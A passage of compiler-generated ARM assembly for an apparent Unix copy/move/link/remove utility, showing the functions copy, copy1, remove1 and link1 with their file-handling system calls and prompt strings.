ldr r2, [r3, #24]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
str r2, [r3, #24]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r2, [r3, #28]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
str r2, [r3, #28]
.L78:
sub r3, fp, #262144
sub r3, r3, #12
sub r2, fp, #262144
sub r2, r2, #12
sub r1, fp, #262144
sub r1, r1, #12
sub r0, fp, #262144
sub r0, r0, #12
ldr r3, [r3, #-48]
ldr r2, [r2, #-44]
ldr r1, [r1, #-40]
ldr r0, [r0, #-36]
bl trylink
mov r3, r0
cmp r3, #0
beq .L83
mov r3, #1
b .L115
.L83:
sub r3, fp, #262144
sub r3, r3, #12
mov r4, r3
sub r3, fp, #262144
sub r3, r3, #12
mov r1, #0
ldr r0, [r3, #-36]
bl open
str r0, [r4, #-16]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-16]
cmp r3, #0
bge .L84
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-36]
bl report
mov r3, #0
b .L115
.L84:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #16]
lsl r3, r3, #23
lsr r3, r3, #23
sub r2, fp, #262144
sub r2, r2, #12
mov r4, r2
sub r2, fp, #262144
sub r2, r2, #12
mov r0, r2
mov r2, r3
ldr r1, .L117+40
ldr r0, [r0, #-40]
bl open
str r0, [r4, #-32]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-32]
cmp r3, #0
bge .L85
ldr r3, .L117+28
ldr r3, [r3]
cmp r3, #0
beq .L85
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #13
bne .L85
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #16]
orr r3, r3, #128
sub r2, fp, #262144
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-40]
bl chmod
sub r3, fp, #262144
sub r3, r3, #12
mov r4, r3
sub r3, fp, #262144
sub r3, r3, #12
mov r2, #0
ldr r1, .L117+40
ldr r0, [r3, #-40]
bl open
str r0, [r4, #-32]
.L85:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-32]
cmp r3, #0
bge .L86
ldr r3, .L117+28
ldr r3, [r3]
cmp r3, #0
beq .L86
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #13
bne .L86
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl unlink
sub r3, fp, #262144
sub r3, r3, #12
mov r4, r3
sub r3, fp, #262144
sub r3, r3, #12
mov r2, #0
ldr r1, .L117+40
ldr r0, [r3, #-40]
bl open
str r0, [r4, #-32]
.L86:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-32]
cmp r3, #0
bge .L87
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl report
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-16]
bl close
mov r3, #0
b .L115
.L87:
sub r3, fp, #262144
sub r3, r3, #12
mov r2, r3
sub r3, fp, #262144
sub r3, r3, #12
ldr r1, [r2, #-48]
ldr r0, [r3, #-32]
bl fstat
mov r3, r0
cmp r3, #0
bge .L89
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl report
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-16]
bl close
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-32]
bl close
mov r3, #0
b .L115
.L95:
sub r3, fp, #262144
sub r3, r3, #12
mov r2, r3
sub r3, fp, #262144
sub r3, r3, #12
sub r3, r3, #4
str r3, [r2, #-24]
b .L90
.L92:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-20]
sub r2, fp, #262144
sub r2, r2, #12
mov r1, r2
sub r2, fp, #262144
sub r2, r2, #12
ldr r2, [r2, #-24]
add r3, r2, r3
str r3, [r1, #-24]
sub r3, fp, #262144
sub r3, r3, #12
mov r1, r3
sub r3, fp, #262144
sub r3, r3, #12
mov r2, r3
sub r3, fp, #262144
sub r3, r3, #12
ldr r2, [r2, #-28]
ldr r3, [r3, #-20]
sub r3, r2, r3
str r3, [r1, #-28]
.L90:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-28]
cmp r3, #0
ble .L91
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-28]
sub r2, fp, #262144
sub r2, r2, #12
mov r4, r2
sub r2, fp, #262144
sub r2, r2, #12
mov r1, r2
sub r2, fp, #262144
sub r2, r2, #12
mov r0, r2
mov r2, r3
ldr r1, [r1, #-24]
ldr r0, [r0, #-32]
bl write
str r0, [r4, #-20]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-20]
cmp r3, #0
bgt .L92
.L91:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-20]
cmp r3, #0
bgt .L89
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-20]
cmp r3, #0
bne .L93
ldr r3, .L117+32
ldr r0, [r3]
ldr r3, .L117+44
ldr r2, [r3]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-40]
ldr r1, .L117+48
bl fprintf
b .L94
.L93:
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl fatal
.L89:
sub r3, fp, #262144
sub r3, r3, #12
mov r4, r3
sub r3, fp, #262144
sub r3, r3, #12
sub r3, r3, #4
sub r2, fp, #262144
sub r2, r2, #12
mov r0, r2
mov r2, #262144
mov r1, r3
ldr r0, [r0, #-16]
bl read
str r0, [r4, #-28]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-28]
cmp r3, #0
bgt .L95
.L94:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-28]
cmp r3, #0
bge .L96
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-36]
bl report
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-16]
bl close
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-32]
bl close
mov r3, #0
b .L115
.L96:
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-16]
bl close
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-32]
bl close
ldr r3, .L117+12
ldr r3, [r3]
cmp r3, #0
bne .L97
ldr r3, .L117+16
ldr r3, [r3]
cmp r3, #0
bne .L98
.L97:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #32768
bne .L98
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r2, [r3, #24]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #24]
cmp r2, r3
bne .L99
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r2, [r3, #28]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #28]
cmp r2, r3
beq .L98
.L99:
sub r3, fp, #262144
sub r3, r3, #12
mov r1, #0
ldr r0, [r3, #-40]
bl chmod
mov r3, r0
cmp r3, #0
bne .L100
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #16]
bic r3, r3, #4080
bic r3, r3, #15
sub r2, fp, #262144
sub r2, r2, #12
ldr r2, [r2, #-48]
str r3, [r2, #16]
.L100:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r1, [r3, #24]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #28]
sub r2, fp, #262144
sub r2, r2, #12
mov r0, r2
mov r2, r3
ldr r0, [r0, #-40]
bl chown
mov r3, r0
cmp r3, #0
bge .L101
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #1
beq .L98
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl report
mov r3, #0
b .L115
.L101:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r2, [r3, #24]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
str r2, [r3, #24]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r2, [r3, #28]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
str r2, [r3, #28]
.L98:
ldr r3, .L117+16
ldr r3, [r3]
cmp r3, #0
beq .L102
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #32768
bne .L102
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r2, [r3, #24]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #24]
cmp r2, r3
bne .L103
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r2, [r3, #28]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #28]
cmp r2, r3
beq .L102
.L103:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #16]
bic r2, r3, #3072
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
str r2, [r3, #16]
.L102:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #32768
bne .L104
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r2, [r3, #16]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #16]
cmp r2, r3
beq .L104
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #16]
sub r2, fp, #262144
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-40]
bl chmod
mov r3, r0
cmp r3, #0
bge .L104
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #1
beq .L105
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl report
mov r3, #0
b .L115
.L105:
ldr r3, .L117+32
ldr r0, [r3]
ldr r3, .L117+44
ldr r2, [r3]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-40]
ldr r1, .L117+52
bl fprintf
.L104:
ldr r3, .L117+12
ldr r3, [r3]
cmp r3, #0
bne .L106
ldr r3, .L117+16
ldr r3, [r3]
cmp r3, #0
bne .L107
.L106:
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #32768
bne .L107
ldr r3, .L117+24
ldr r3, [r3]
cmp r3, #1
bne .L108
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #56]
b .L109
.L108:
mov r0, #0
bl time
mov r3, r0
.L109:
sub r2, fp, #262144
sub r2, r2, #12
str r3, [r2, #-12]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-44]
ldr r3, [r3, #64]
sub r2, fp, #262144
sub r2, r2, #12
str r3, [r2, #-8]
sub r3, fp, #262144
sub r3, r3, #12
sub r3, r3, #12
sub r2, fp, #262144
sub r2, r2, #12
mov r1, r3
ldr r0, [r2, #-40]
bl utime
mov r3, r0
cmp r3, #0
bge .L107
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #1
beq .L111
sub r3, fp, #262144
sub r3, r3, #12
ldr r0, [r3, #-40]
bl report
mov r3, #0
b .L115
.L111:
ldr r3, .L117+12
ldr r3, [r3]
cmp r3, #0
beq .L107
ldr r3, .L117+32
ldr r0, [r3]
ldr r3, .L117+44
ldr r2, [r3]
sub r3, fp, #262144
sub r3, r3, #12
ldr r3, [r3, #-40]
ldr r1, .L117+56
bl fprintf
.L107:
ldr r3, .L117+60
ldr r3, [r3]
cmp r3, #0
beq .L112
ldr r3, .L117+24
ldr r3, [r3]
cmp r3, #0
bne .L113
ldr r3, .L117+64
b .L114
.L113:
ldr r3, .L117+68
.L114:
sub r2, fp, #262144
sub r2, r2, #12
sub r1, fp, #262144
sub r1, r1, #12
ldr r2, [r2, #-40]
ldr r1, [r1, #-36]
mov r0, r3
bl printf
.L112:
mov r3, #1
.L115:
ldr r2, .L117
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L116
bl __stack_chk_fail
.L116:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L118:
.align 2
.L117:
.word .LC10
.word fc_mask
.word 33206
.word pflag
.word conforming
.word iflag
.word action
.word fflag
.word stderr
.word .LC4
.word 577
.word prog_name
.word .LC5
.word .LC6
.word .LC7
.word vflag
.word .LC8
.word .LC9
.size copy, .-copy
.section .rodata
.align 2
.LC11:
.ascii "%s: can't copy %s onto itself\012\000"
.align 2
.LC12:
.ascii "Replace %s? (mode = %03o) \000"
.align 2
.LC13:
.ascii "ln -s %s %s\012\000"
.align 2
.LC14:
.ascii "mkfifo %s\012\000"
.align 2
.LC15:
.ascii "mknod %s %c %d %d\012\000"
.align 2
.LC16:
.ascii "%s: %s: odd filetype %5o (not copied)\012\000"
.align 2
.LC17:
.word __stack_chk_guard
.text
.align 2
.global copy1
.syntax unified
.arm
.fpu softvfp
.type copy1, %function
copy1:
@ args = 0, pretend = 0, frame = 1064
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #1072
sub sp, sp, #8
str r0, [fp, #-1072]
str r1, [fp, #-1076]
str r2, [fp, #-1080]
str r3, [fp, #-1084]
ldr r3, .L163
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
ldr r3, [fp, #-1080]
ldr r2, [r3, #12]
ldr r3, [fp, #-1084]
ldr r3, [r3, #12]
cmp r2, r3
bne .L120
ldr r3, [fp, #-1080]
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
bne .L120
ldr r3, .L163+4
ldr r0, [r3]
ldr r3, .L163+8
ldr r2, [r3]
ldr r3, [fp, #-1072]
ldr r1, .L163+12
bl fprintf
ldr r3, .L163+16
mov r2, #1
str r2, [r3]
b .L119
.L120:
ldr r3, [fp, #-1084]
ldr r3, [r3, #12]
cmp r3, #0
beq .L122
ldr r3, [fp, #-1084]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #16384
bne .L122
bl __errno_location
mov r3, r0
mov r2, #21
str r2, [r3]
ldr r0, [fp, #-1076]
bl report
b .L119
.L122:
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #32768
beq .L123
ldr r3, .L163+20
ldr r3, [r3]
cmp r3, #0
beq .L124
ldr r3, .L163+24
ldr r3, [r3]
cmp r3, #0
bne .L124
.L123:
ldr r3, [fp, #-1084]
ldr r2, [fp, #-1080]
ldr r1, [fp, #-1076]
ldr r0, [fp, #-1072]
bl copy
mov r3, r0
cmp r3, #0
beq .L157
ldr r3, .L163+28
ldr r3, [r3]
cmp r3, #1
bne .L158
ldr r0, [fp, #-1072]
bl unlink
mov r3, r0
cmp r3, #0
bge .L158
ldr r0, [fp, #-1072]
bl report
b .L119
.L124:
ldr r3, [fp, #-1084]
ldr r3, [r3, #12]
cmp r3, #0
beq .L127
ldr r3, .L163+32
ldr r3, [r3]
cmp r3, #0
bne .L128
ldr r3, .L163+28
ldr r3, [r3]
cmp r3, #1
bne .L129
ldr r3, .L163+36
ldr r3, [r3]
cmp r3, #0
bne .L129
ldr r0, [fp, #-1084]
bl writable
mov r3, r0
cmp r3, #0
bne .L129
.L128:
ldr r3, .L163+4
ldr r0, [r3]
ldr r3, [fp, #-1084]
ldr r3, [r3, #16]
lsl r3, r3, #20
lsr r3, r3, #20
ldr r2, [fp, #-1076]
ldr r1, .L163+40
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
beq .L159
.L129:
ldr r0, [fp, #-1076]
bl unlink
mov r3, r0
cmp r3, #0
bge .L130
ldr r0, [fp, #-1076]
bl report
b .L119
.L130:
ldr r3, [fp, #-1084]
mov r2, #0
str r2, [r3, #12]
.L127:
ldr r3, .L163+44
ldr r3, [r3]
cmp r3, #0
bne .L131
ldr r3, .L163+48
ldr r3, [r3]
cmp r3, #0
beq .L131
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
ldr r2, .L163+52
ldr r2, [r2]
and r2, r2, r3
ldr r3, [fp, #-1080]
str r2, [r3, #16]
.L131:
mov r3, #0
str r3, [fp, #-1064]
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #40960
bne .L132
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #8
mov r2, #1024
mov r1, r3
ldr r0, [fp, #-1072]
bl readlink
str r0, [fp, #-1068]
ldr r3, [fp, #-1068]
cmp r3, #0
bge .L133
ldr r0, [fp, #-1072]
bl report
b .L119
.L133:
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #8
ldr r2, [fp, #-1068]
add r3, r3, r2
mov r2, #0
strb r2, [r3]
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #8
ldr r1, [fp, #-1076]
mov r0, r3
bl symlink
str r0, [fp, #-1068]
ldr r3, .L163+56
ldr r3, [r3]
cmp r3, #0
beq .L135
ldr r3, [fp, #-1068]
cmp r3, #0
bne .L135
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #8
ldr r2, [fp, #-1076]
mov r1, r3
ldr r0, .L163+60
bl printf
b .L135
.L132:
ldr r3, [fp, #-1084]
ldr r2, [fp, #-1080]
ldr r1, [fp, #-1076]
ldr r0, [fp, #-1072]
bl trylink
mov r3, r0
cmp r3, #0
beq .L136
mov r3, #1
str r3, [fp, #-1064]
mov r3, #0
str r3, [fp, #-1068]
b .L135
.L136:
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #4096
bne .L137
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
mov r1, r3
ldr r0, [fp, #-1076]
bl mkfifo
str r0, [fp, #-1068]
ldr r3, .L163+56
ldr r3, [r3]
cmp r3, #0
beq .L135
ldr r3, [fp, #-1068]
cmp r3, #0
bne .L135
ldr r1, [fp, #-1076]
ldr r0, .L163+64
bl printf
b .L135
.L137:
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #24576
beq .L138
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #8192
bne .L139
.L138:
ldr r3, [fp, #-1080]
ldr r1, [r3, #16]
ldr r3, [fp, #-1080]
add r3, r3, #32
ldmia r3, {r2-r3}
ldr r0, [fp, #-1076]
bl mknod
str r0, [fp, #-1068]
ldr r3, .L163+56
ldr r3, [r3]
cmp r3, #0
beq .L160
ldr r3, [fp, #-1068]
cmp r3, #0
bne .L160
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #24576
bne .L141
mov ip, #98
b .L142
.L141:
mov ip, #99
.L142:
ldr r3, [fp, #-1080]
add r1, r3, #32
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
lsr r2, r0, #8
orr r2, r2, r1, lsl #24
lsr r3, r1, #8
mov r0, #255
mov r1, #0
and r4, r2, r0
and r5, r3, r1
ldr r3, [fp, #-1080]
add r3, r3, #32
ldmia r3, {r2-r3}
mov r0, #255
mov r1, #0
and r6, r2, r0
and r7, r3, r1
str r6, [sp, #8]
str r7, [sp, #12]
stm sp, {r4-r5}
mov r2, ip
ldr r1, [fp, #-1076]
ldr r0, .L163+68
bl printf
b .L160
.L139:
ldr r3, .L163+4
ldr r0, [r3]
ldr r3, .L163+8
ldr r2, [r3]
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
str r3, [sp]
ldr r3, [fp, #-1072]
ldr r1, .L163+72
bl fprintf
ldr r3, .L163+16
mov r2, #1
str r2, [r3]
b .L119
.L160:
nop
.L135:
ldr r3, [fp, #-1068]
cmp r3, #0
blt .L143
ldr r1, [fp, #-1084]
ldr r0, [fp, #-1076]
bl lstat
mov r3, r0
cmp r3, #0
bge .L144
.L143:
ldr r0, [fp, #-1076]
bl report
b .L119
.L144:
ldr r3, .L163+28
ldr r3, [r3]
cmp r3, #1
bne .L145
ldr r0, [fp, #-1072]
bl unlink
mov r3, r0
cmp r3, #0
bge .L145
ldr r0, [fp, #-1072]
bl report
ldr r0, [fp, #-1076]
bl unlink
b .L119
.L145:
ldr r3, [fp, #-1064]
cmp r3, #0
bne .L161
ldr r3, [fp, #-1080]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #40960
beq .L162
ldr r3, .L163+44
ldr r3, [r3]
cmp r3, #0
bne .L148
ldr r3, .L163+48
ldr r3, [r3]
cmp r3, #0
bne .L149
.L148:
ldr r3, [fp, #-1084]
ldr r2, [r3, #24]
ldr r3, [fp, #-1080]
ldr r3, [r3, #24]
cmp r2, r3
bne .L150
ldr r3, [fp, #-1084]
ldr r2, [r3, #28]
ldr r3, [fp, #-1080]
ldr r3, [r3, #28]
cmp r2, r3
beq .L149
.L150:
ldr r3, [fp, #-1080]
ldr r1, [r3, #24]
ldr r3, [fp, #-1080]
ldr r3, [r3, #28]
mov r2, r3
ldr r0, [fp, #-1076]
bl chown
mov r3, r0
cmp r3, #0
bge .L149
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #1
beq .L149
ldr r0, [fp, #-1076]
bl report
b .L119
.L149:
ldr r3, .L163+44
ldr r3, [r3]
cmp r3, #0
bne .L151
ldr r3, .L163+48
ldr r3, [r3]
cmp r3, #0
bne .L119
.L151:
ldr r3, .L163+28
ldr r3, [r3]
cmp r3, #1
bne .L152
ldr r3, [fp, #-1080]
ldr r3, [r3, #56]
b .L153
.L152:
mov r0, #0
bl time
mov r3, r0
.L153:
str r3, [fp, #-1060]
ldr r3, [fp, #-1080]
ldr r3, [r3, #64]
str r3, [fp, #-1056]
sub r3, fp, #1056
sub r3, r3, #4
mov r1, r3
ldr r0, [fp, #-1076]
bl utime
mov r3, r0
cmp r3, #0
bge .L119
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #1
beq .L155
ldr r0, [fp, #-1076]
bl report
b .L119
.L155:
ldr r3, .L163+4
ldr r0, [r3]
ldr r3, .L163+8
ldr r2, [r3]
ldr r3, [fp, #-1076]
ldr r1, .L163+76
bl fprintf
b .L119
.L157:
nop
b .L119
.L158:
nop
b .L119
.L159:
nop
b .L119
.L161:
nop
b .L119
.L162:
nop
.L119:
ldr r3, .L163
ldr r2, [r3]
ldr r3, [fp, #-24]
eors r2, r3, r2
mov r3, #0
beq .L156
bl __stack_chk_fail
.L156:
sub sp, fp, #20
@ sp needed
pop {r4, r5, r6, r7, fp, pc}
.L164:
.align 2
.L163:
.word .LC17
.word stderr
.word prog_name
.word .LC11
.word ex_code
.word expand
.word rflag
.word action
.word iflag
.word fflag
.word .LC12
.word pflag
.word conforming
.word fc_mask
.word vflag
.word .LC13
.word .LC14
.word .LC15
.word .LC16
.word .LC7
.size copy1, .-copy1
.section .rodata
.align 2
.LC18:
.ascii "Remove %s? (mode = %03o) \000"
.align 2
.LC19:
.ascii "rm %s\012\000"
.text
.align 2
.global remove1
.syntax unified
.arm
.fpu softvfp
.type remove1, %function
remove1:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, .L171
ldr r3, [r3]
cmp r3, #0
bne .L166
ldr r3, .L171+4
ldr r3, [r3]
cmp r3, #0
bne .L167
ldr r0, [fp, #-12]
bl writable
mov r3, r0
cmp r3, #0
bne .L167
.L166:
ldr r3, .L171+8
ldr r0, [r3]
ldr r3, [fp, #-12]
ldr r3, [r3, #16]
lsl r3, r3, #20
lsr r3, r3, #20
ldr r2, [fp, #-8]
ldr r1, .L171+12
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
beq .L170
.L167:
ldr r0, [fp, #-8]
bl unlink
mov r3, r0
cmp r3, #0
bge .L169
ldr r0, [fp, #-8]
bl report
b .L165
.L169:
ldr r3, .L171+16
ldr r3, [r3]
cmp r3, #0
beq .L165
ldr r1, [fp, #-8]
ldr r0, .L171+20
bl printf
b .L165
.L170:
nop
.L165:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L172:
.align 2
.L171:
.word iflag
.word fflag
.word stderr
.word .LC18
.word vflag
.word .LC19
.size remove1, .-remove1
.section .rodata
.align 2
.LC20:
.ascii "%s: Can't link %s onto itself\012\000"
.align 2
.LC21:
.ascii "Remove %s? \000"
.align 2
.LC22:
.ascii "%s: Symlinking %s to %s can't be made to work, too "
.ascii "difficult\012\000"
.align 2
.LC23:
.ascii "..\000"
.align 2
.LC24:
.word __stack_chk_guard
.text
.align 2
.global link1
.syntax unified
.arm
.fpu softvfp
.type link1, %function
link1:
@ args = 0, pretend = 0, frame = 1072
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #1072
sub sp, sp, #8
str r0, [fp, #-1064]
str r1, [fp, #-1068]
str r2, [fp, #-1072]
str r3, [fp, #-1076]
ldr r3, .L216
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-1076]
ldr r3, [r3, #12]
cmp r3, #0
beq .L174
ldr r3, .L216+4
ldr r3, [r3]
cmp r3, #0
bne .L175
ldr r3, .L216+8
ldr r3, [r3]
cmp r3, #0
beq .L174
.L175:
ldr r3, [fp, #-1072]
ldr r2, [r3, #12]
ldr r3, [fp, #-1076]
ldr r3, [r3, #12]
cmp r2, r3
bne .L176
ldr r3, .L216+8
ldr r3, [r3]
cmp r3, #0
bne .L210
ldr r3, .L216+12
ldr r0, [r3]
ldr r3, .L216+16
ldr r2, [r3]
ldr r3, [fp, #-1064]
ldr r1, .L216+20
bl fprintf
ldr r3, .L216+24
mov r2, #1
str r2, [r3]
b .L173
.L176:
ldr r3, .L216+4
ldr r3, [r3]
cmp r3, #0
beq .L179
ldr r3, .L216+12
ldr r3, [r3]
ldr r2, [fp, #-1068]
ldr r1, .L216+28
mov r0, r3
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
beq .L211
.L179:
bl __errno_location
mov r3, r0
mov r2, #21
str r2, [r3]
ldr r3, [fp, #-1076]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #16384
beq .L180
ldr r0, [fp, #-1068]
bl unlink
mov r3, r0
cmp r3, #0
bge .L174
.L180:
ldr r0, [fp, #-1068]
bl report
b .L173
.L174:
ldr r3, .L216+32
ldr r3, [r3]
cmp r3, #0
bne .L181
ldr r3, .L216+36
ldr r3, [r3]
cmp r3, #0
beq .L182
ldr r3, [fp, #-1072]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #40960
beq .L181
.L182:
ldr r3, .L216+40
ldr r3, [r3]
cmp r3, #0
beq .L183
ldr r3, .L216+44
ldr r3, [r3]
cmp r3, #0
bne .L181
.L183:
ldr r1, [fp, #-1068]
ldr r0, [fp, #-1064]
bl link
mov r3, r0
cmp r3, #0
bge .L184
ldr r3, .L216+40
ldr r3, [r3]
cmp r3, #0
beq .L185
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #18
beq .L186
.L185:
ldr r1, [fp, #-1068]
ldr r0, [fp, #-1064]
bl report2
b .L173
.L186:
ldr r3, .L216+44
mov r2, #1
str r2, [r3]
b .L181
.L184:
ldr r3, .L216+48
ldr r3, [r3]
cmp r3, #0
beq .L212
ldr r2, [fp, #-1068]
ldr r1, [fp, #-1064]
ldr r0, .L216+52
bl printf
b .L212
.L181:
ldr r3, .L216+36
ldr r3, [r3]
cmp r3, #0
bne .L188
ldr r3, .L216+40
ldr r3, [r3]
cmp r3, #0
bne .L188
ldr r1, [fp, #-1068]
ldr r0, [fp, #-1064]
bl symlink
mov r3, r0
cmp r3, #0
bge .L189
ldr r0, [fp, #-1068]
bl report
b .L173
.L189:
ldr r3, .L216+48
ldr r3, [r3]
cmp r3, #0
beq .L213
ldr r2, [fp, #-1068]
ldr r1, [fp, #-1064]
ldr r0, .L216+56
bl printf
b .L213
.L188:
ldr r3, [fp, #-1072]
ldr r3, [r3, #16]
and r3, r3, #61440
cmp r3, #40960
bne .L191
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #8
mov r2, #1024
mov r1, r3
ldr r0, [fp, #-1064]
bl readlink
str r0, [fp, #-1052]
ldr r3, [fp, #-1052]
cmp r3, #0
bge .L192
ldr r0, [fp, #-1064]
bl report
b .L173
.L192:
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #8
ldr r2, [fp, #-1052]
add r3, r3, r2
mov r2, #0
strb r2, [r3]
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #8
ldr r1, [fp, #-1068]
mov r0, r3
bl symlink
mov r3, r0
cmp r3, #0
bge .L194
ldr r0, [fp, #-1068]
bl report
b .L173
.L194:
ldr r3, .L216+48
ldr r3, [r3]
cmp r3, #0
beq .L214
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #8
ldr r2, [fp, #-1068]
mov r1, r3
ldr r0, .L216+56
bl printf
